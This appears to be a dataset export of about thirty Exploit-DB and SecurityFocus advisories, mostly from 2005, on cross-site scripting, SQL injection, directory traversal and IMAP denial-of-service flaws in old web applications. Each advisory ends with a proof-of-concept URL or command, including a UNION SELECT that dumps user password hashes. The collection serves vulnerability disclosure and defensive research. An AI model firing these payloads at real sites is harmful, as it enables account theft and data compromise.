QLWD/code_shield huggingface dataset:
标题: vTiger CRM 4.2 Leads Module - 'record' Cross-Site Scripting EDB-ID: 26584 CVE: 2005-3818 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15562/info

vtiger CRM is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

vTiger CRM is prone to multiple SQL injection, HTML injection, cross-site scripting and local file include vulnerabilities.

An attacker can exploit these issues to gain administrative access, retrieve username and password pairs, steal cookie-based authentication credentials and retrieve arbitrary local files in the context of the Web server process; other attacks are also possible.

Some of these issues may be related to those discussed in BID 11740 (SugarCRM Multiple Input Validation Vulnerabilities) discovered by James Bercegay and Damon Wood of the GulfTech Security Research Team, as vtiger is a fork of the SugarCRM project.

An independent study by Daniel Fabian of SEC-CONSULT has confirmed the existence of several of these issues. Please see the referenced advisory for more information. 

http://www.example.com/index.php?action=DetailView&module=Leads&record=%3Cscript%3Ealert('document.cookie')%3C/script%3E URL: https://www.exploit-db.com/exploits/26584
标题: WSN Forum 1.21 - 'memberlist.php' SQL Injection EDB-ID: 26567 CVE: 2005-3916 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15549/info

WSN Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/memberlist.php?action=profile&id=1[SQL] URL: https://www.exploit-db.com/exploits/26567
标题: blogBuddies 0.3 - 'index.php?u' Cross-Site Scripting EDB-ID: 26572 CVE: 2005-3954 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15555/info

blogBuddies is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/computechnix/blogbuddies/
index.php?u="><script>alert("hola vengo a flotar");</script> URL: https://www.exploit-db.com/exploits/26572
标题: Ezyhelpdesk 1.0 - Multiple SQL Injections EDB-ID: 26571 CVE: 2005-3826 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15553/info

Ezyhelpdesk is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Ezyhelpdesk version 1.0 and earlier are affected. 

http://www.example.com/?edit=spec_view&edit_id=[SQL]
http://www.example.com/?mid=41&m2id=42&page=1&faq_id=[SQL]
http://www.example.com/?mid=41&m2id=42&page=1&c_id=[SQL] URL: https://www.exploit-db.com/exploits/26571
标题: blogBuddies 0.3 - 'magpie_debug.php?url' Cross-Site Scripting EDB-ID: 26573 CVE: 2005-3955 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15555/info
 
blogBuddies is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/computechnix/blogbuddies/magpierss-0.71/scripts/
magpie_debug.php?url="><script>alert("...");</script> URL: https://www.exploit-db.com/exploits/26573
标题: Tunez 1.21 - 'search.php?searchFor' Cross-Site Scripting EDB-ID: 26566 CVE: 2005-3834 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15548/info
 
Tunez is prone to multiple input validation vulnerabilities.
 
The application is affected by an SQL injection vulnerability and a cross-site scripting issue.
 
Successful exploitation of the SQL injection issue could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
The cross-site scripting issue may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/tunez/search.php?action=doSearch&searchFor=[code]&search_type=all URL: https://www.exploit-db.com/exploits/26566
标题: Tunez 1.21 - 'songinfo.php?song_id' SQL Injection EDB-ID: 26565 CVE: 2005-3833 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15548/info

Tunez is prone to multiple input validation vulnerabilities.

The application is affected by an SQL injection vulnerability and a cross-site scripting issue.

Successful exploitation of the SQL injection issue could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

The cross-site scripting issue may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/tunez/songinfo.php?song_id=[sql] URL: https://www.exploit-db.com/exploits/26565
标题: AFFCommerce Shopping Cart 1.1.4 - 'ItemReview.php?item_id' SQL Injection EDB-ID: 26564 CVE: 2005-3914 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15545/info
  
AFFCommerce Shopping Cart is prone to multiple SQL injection vulnerabilities.
  
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
  
AFFCommerce Shopping Cart 1.1.4 is reportedly affected. It is possible that other versions are vulnerable as well. 

http://www.example.com/standalone/ItemReview.php?item_id=[sql] URL: https://www.exploit-db.com/exploits/26564
标题: blogBuddies 0.3 - 'magpie_slashbox.php?rss_url' Cross-Site Scripting EDB-ID: 26574 CVE: 2005-3955 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15555/info
  
blogBuddies is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/computechnix/blogbuddies/magpierss-0.71/scripts/
magpie_slashbox.php?rss_url="><script>alert("...");</script> URL: https://www.exploit-db.com/exploits/26574
标题: AFFCommerce Shopping Cart 1.1.4 - 'subcategory.php?cl' SQL Injection EDB-ID: 26562 CVE: 2005-3914 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15545/info

AFFCommerce Shopping Cart is prone to multiple SQL injection vulnerabilities.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

AFFCommerce Shopping Cart 1.1.4 is reportedly affected. It is possible that other versions are vulnerable as well. 

http://www.example.com/standalone/SubCategory.php?cl=[sql] URL: https://www.exploit-db.com/exploits/26562
标题: 1-2-3 Music Store 1.0 - 'Process.php' SQL Injection EDB-ID: 26561 CVE: 2005-3855 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15544/info

1-2-3 Music Store is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/process.php?pname=ShowAlbumDetailsProcess-Start&CategoryID=CategoryID&AlbumID=[sql] URL: https://www.exploit-db.com/exploits/26561
标题: AFFCommerce Shopping Cart 1.1.4 - 'ItemInfo.php?item_id' SQL Injection EDB-ID: 26563 CVE: 2005-3914 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15545/info
 
AFFCommerce Shopping Cart is prone to multiple SQL injection vulnerabilities.
 
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
 
AFFCommerce Shopping Cart 1.1.4 is reportedly affected. It is possible that other versions are vulnerable as well. 

http://www.example.com/standalone/ItemInfo.php?item_id=[sql] URL: https://www.exploit-db.com/exploits/26563
标题: MailEnable 1.1/1.7 - IMAP Rename Request Remote Denial of Service EDB-ID: 26575 CVE: 2005-3813 类型: DOS 平台: WINDOWS 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15556/info

MailEnable is prone to a remote denial of service vulnerability.

The vulnerability presents itself when a user issues a malicious rename request following authentication.

Remote attackers can exploit this issue to trigger a denial of service condition. 

telnet localhost 143
a1 login josh byebye
a2 rename foo bar

where josh and byebye are the login credentials for an existing mailbox. URL: https://www.exploit-db.com/exploits/26575
标题: Virtual Hosting Control System 2.2/2.4 - Error Message Cross-Site Scripting EDB-ID: 26559 CVE: 2005-3902 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/15538/info

Virtual Hosting Control System is prone to cross-site scripting attacks.

The vulnerability arises when error messages are rendered and could let an attacker inject hostile HTML and script code into the browser session of another user in the context of the site hosting the application. This could allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/dev/inputvalidation%3Cscript%3Ealert(window.location.hash)%3B%3C/script%3E#XSS URL: https://www.exploit-db.com/exploits/26559
标题: PmWiki 2.0.x - Search Cross-Site Scripting EDB-ID: 26560 CVE: 2005-3849 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/15539/info


PmWiki is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PmWiki 2.0 up to and including 2.0.12 are vulnerable; other versions may also be affected. 

http://www.example.com/Site/Search?action=search&q=TRY%20ANOTHER%20SEARCH%20NOW!%20YES,%20YOU!'%20onMouseOver='alert(document.title);'%20 URL: https://www.exploit-db.com/exploits/26560
标题: PHPPost 1.0 - 'profile.php?user' Cross-Site Scripting EDB-ID: 26546 CVE: 2005-3770 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/15524/info

PHP-Post is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. The attacker may also be able to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/phpp/profile.php?user='%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E URL: https://www.exploit-db.com/exploits/26546
标题: Torrential 1.2 - 'Getdox.php' Directory Traversal EDB-ID: 26549 CVE: 2005-4160 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/15530/info

Torrential is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this issue to retrieve arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

Torrential Version 1.2 is vulnerable; other versions may also be vulnerable. 

http://www.example.com/torrential/dox/getdox.php/../forums.php
http://www.example.com/torrential/dox/getdox.php/../../index.html URL: https://www.exploit-db.com/exploits/26549
标题: Tru-Zone Nuke ET 3.x - Search Module SQL Injection EDB-ID: 26545 CVE: 2005-3748 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/15519/info

Nuke ET is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

Insert the following into the 'query' field of http://www.example.com/modules.php?name=Search:
s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/* URL: https://www.exploit-db.com/exploits/26545
标题: OTRS 2.0 - Login Function 'User' SQL Injection EDB-ID: 26550 CVE: 2005-3893 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/15537/info

OTRS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

The application is prone to multiple SQL-injection vulnerabilities, an HTML-injection vulnerability, and multiple cross-site scripting vulnerabilities. 

http://www.example.com/index.pl?Action=Login&User=%27[SQL_HERE] URL: https://www.exploit-db.com/exploits/26550
标题: PHPPost 1.0 - 'mail.php?user' Cross-Site Scripting EDB-ID: 26547 CVE: 2005-3770 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/15524/info
 
PHP-Post is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. The attacker may also be able to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/phpp/mail.php?user='%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E URL: https://www.exploit-db.com/exploits/26547
标题: OTRS 2.0 - AgentTicketPlain Action Multiple SQL Injections EDB-ID: 26551 CVE: 2005-3893 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/15537/info
 
OTRS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
The application is prone to multiple SQL-injection vulnerabilities, an HTML-injection vulnerability, and multiple cross-site scripting vulnerabilities. 

http://www.example.com/admin/index.pl?Action=AgentTicketPlain&ArticleID=1&TicketID=1%20[SQL_HERE]
http://www.example.com/admin/index.pl?Action=AgentTicketPlain&TicketID=1&ArticleID=1%20[SQL_HERE] URL: https://www.exploit-db.com/exploits/26551
标题: OTRS 2.0 - 'index.pl' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26552 CVE: 2005-3894 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/15537/info
  
OTRS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
The application is prone to multiple SQL-injection vulnerabilities, an HTML-injection vulnerability, and multiple cross-site scripting vulnerabilities. 

http://www.example.com/index.pl?QueueID=%22%3E%3Cscript%3Ealert('[XSS_HERE]')%3B%3C/script%3E%3Cx%20y=%22
http://www.example.com/index.pl?Action="><script>alert(document.title);</script><x%20" URL: https://www.exploit-db.com/exploits/26552
标题: APBoard - 'thread.php' SQL Injection EDB-ID: 26543 CVE: 2005-3746 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/15513/info

APBoard is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before it is used in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/apboard/thread.php?id=210&start=[SQL] URL: https://www.exploit-db.com/exploits/26543
标题: Apache Struts 1.2.7 - Error Response Cross-Site Scripting EDB-ID: 26542 CVE: 2005-3745 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/15512/info

Struts is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/struts-virtdir/<script>alert('test')</script>.do URL: https://www.exploit-db.com/exploits/26542
标题: PHP Download Manager 1.1.x - 'files.php' SQL Injection EDB-ID: 26544 CVE: 2005-3769 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/15517/info

PHP Download Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/files.php?cat='&sort URL: https://www.exploit-db.com/exploits/26544
标题: Litespeed 2.1.5 - 'ConfMgr.php' Cross-Site Scripting EDB-ID: 26535 CVE: 2005-3695 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/15485/info

LiteSpeed Web Server is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com:7080/admin/config/confMgr.php?m=al_adminListener%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/26535
标题: Revize CMS - 'Query_results.jsp' SQL Injection EDB-ID: 26532 CVE: 2005-3727 类型: WEBAPPS 平台: JSP 发布日期: 2005-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/15481/info

Revize CMS is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Other scripts may also be vulnerable. 

http://www.example.com/revize/debug/query_results.jsp?webspace=REVIZE&query=select%20*%20from%20pbpublic.rSubjects

http://www.example.com/revize/debug/query_results.jsp?query=select%20*%20from%20pbpublic.rSubjects URL: https://www.exploit-db.com/exploits/26532
标题: Revize CMS HTTPTranslatorServlet - Cross-Site Scripting EDB-ID: 26534 CVE: 2005-3730 类型: WEBAPPS 平台: JSP 发布日期: 2005-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/15484/info

Revize CMS is prone to a cross-site scripting vulnerabilities. This is due to a lack of proper sanitization of user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp&action=login&resourcetype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Esecurity&objectmap=subject&error=admincenter/login.jsp
http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp&action=login&resourcetype=security&objectmap=subject%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&error=admincenter/login.jsp
http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&action=login&resourcetype=security&objectmap=subject&error=admincenter/login.jsp URL: https://www.exploit-db.com/exploits/26534
标题: Revize CMS - 'Revize.XML' Information Disclosure EDB-ID: 26533 CVE: 2005-3728 类型: WEBAPPS 平台: JSP 发布日期: 2005-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/15482/info

Revize CMS is prone to an information disclosure vulnerability. This issue is due to a failure in the application to restrict access to sensitive files.

An attacker can exploit this vulnerability to retrieve sensitive information. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

A sample URI has been provided:

http://www.example.com/revize/conf/revise.xml URL: https://www.exploit-db.com/exploits/26533
标题: SimplePoll - 'results.php' SQL Injection EDB-ID: 26541 CVE: 2005-3743 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/15508/info

SimplePoll is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/SimplePoll/results.php?pollid=-1' UNION SELECT 1,2,3,4,5,6,7,8,9,0,1,2,3/* URL: https://www.exploit-db.com/exploits/26541
标题: GLPI 0.83.9 - 'Unserialize()' Remote Code Execution EDB-ID: 26530 CVE: 2013-2225 类型: WEBAPPS 平台: PHP 发布日期: 2013-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/60823/info

GLPI is prone to a remote PHP code-execution vulnerability. 

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

GLPI 0.83.9 is vulnerable; other versions may also be affected.

An attacker can exploit this issue using a web browser. 

The following example URI is available: 

http://www.example.com/glpi/front/ticket.form.php?id=1&_predefined_fields=[XXXX] URL: https://www.exploit-db.com/exploits/26530